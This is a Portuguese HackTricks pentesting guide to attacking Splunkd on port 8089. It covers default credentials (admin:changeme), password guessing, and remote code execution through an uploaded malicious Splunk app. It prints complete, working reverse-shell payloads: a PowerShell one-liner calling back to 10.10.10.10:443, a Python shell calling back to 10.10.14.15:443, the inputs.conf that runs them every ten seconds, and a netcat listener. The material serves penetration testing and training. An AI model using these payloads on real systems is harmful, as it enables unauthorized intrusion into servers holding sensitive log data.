8.8 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informações Básicas
Splunk é uma ferramenta de análise de logs que desempenha um papel crucial na coleta, análise e visualização de dados. Embora seu propósito inicial não fosse servir como uma ferramenta SIEM (Gerenciamento de Informações e Eventos de Segurança), ganhou popularidade no campo de monitoramento de segurança e análise de negócios.
Implantações do Splunk são frequentemente utilizadas para armazenar dados sensíveis e podem servir como uma fonte valiosa de informações para potenciais atacantes se conseguirem comprometer o sistema. Porta padrão: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} O servidor web do Splunk roda por padrão na porta 8000. {% endhint %}
Enumeração
Versão Gratuita
A versão de teste do Splunk Enterprise se converte em uma versão gratuita após 60 dias, que não requer autenticação. Não é incomum que administradores de sistema instalem uma versão de teste do Splunk para testá-lo, que é subsequentemente esquecida. Isso se converterá automaticamente na versão gratuita que não possui qualquer forma de autenticação, introduzindo uma falha de segurança no ambiente. Algumas organizações podem optar pela versão gratuita devido a restrições orçamentárias, sem entender completamente as implicações de não ter gerenciamento de usuários/papéis.
Credenciais Padrão
Em versões mais antigas do Splunk, as credenciais padrão são admin:changeme
, que são convenientemente exibidas na página de login.
No entanto, a versão mais recente do Splunk define credenciais durante o processo de instalação. Se as credenciais padrão não funcionarem, vale a pena verificar senhas fracas comuns, como admin
, Welcome
, Welcome1
, Password123
, etc.
Obter Informações
Uma vez logado no Splunk, podemos navegar pelos dados, executar relatórios, criar painéis, instalar aplicativos da biblioteca Splunkbase e instalar aplicativos personalizados.
Você também pode executar código: o Splunk tem várias maneiras de executar código, como aplicativos Django do lado do servidor, endpoints REST, entradas scriptadas e scripts de alerta. Um método comum de obter execução remota de código em um servidor Splunk é através do uso de uma entrada scriptada.
Além disso, como o Splunk pode ser instalado em hosts Windows ou Linux, entradas scriptadas podem ser criadas para executar scripts Bash, PowerShell ou Batch.
Shodan
Splunk build
RCE
Criar Aplicativo Personalizado
Um aplicativo personalizado pode executar scripts Python, Batch, Bash ou PowerShell.
Observe que o Splunk vem com Python instalado, então mesmo em sistemas Windows você poderá executar código python.
Você pode usar este pacote Splunk para nos ajudar. O diretório bin
neste repositório tem exemplos para Python e PowerShell. Vamos passar por isso passo a passo.
Para conseguir isso, primeiro precisamos criar um aplicativo Splunk personalizado usando a seguinte estrutura de diretório:
tree splunk_shell/
splunk_shell/
├── bin
└── default
O diretório bin
conterá quaisquer scripts que pretendemos executar (neste caso, um PowerShell reverse shell), e o diretório padrão terá nosso arquivo inputs.conf
. Nosso reverse shell será um PowerShell one-liner:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
O arquivo inputs.conf informa ao Splunk qual script executar e quaisquer outras condições. Aqui, definimos o aplicativo como habilitado e dizemos ao Splunk para executar o script a cada 10 segundos. O intervalo está sempre em segundos, e a entrada (script) só será executada se esta configuração estiver presente.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Precisamos do arquivo .bat
, que será executado quando o aplicativo for implantado e executará a linha de comando do PowerShell.
O próximo passo é escolher Install app from file
e fazer o upload do aplicativo.
Antes de fazer o upload do aplicativo personalizado malicioso, vamos iniciar um listener usando Netcat ou socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Na página Upload app
, clique em procurar, escolha o tarball que criamos anteriormente e clique em Upload
. Assim que fizermos o upload da aplicação, um reverse shell é recebido, pois o status da aplicação será automaticamente alterado para Enabled
.
Linux
Se estivéssemos lidando com um host Linux, precisaríamos editar o script Python rev.py
antes de criar o tarball e fazer o upload do aplicativo malicioso personalizado. O restante do processo seria o mesmo, e obteríamos uma conexão de reverse shell em nosso ouvinte Netcat e estaríamos prontos para começar.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Escalação de Privilégios
Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Referências
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.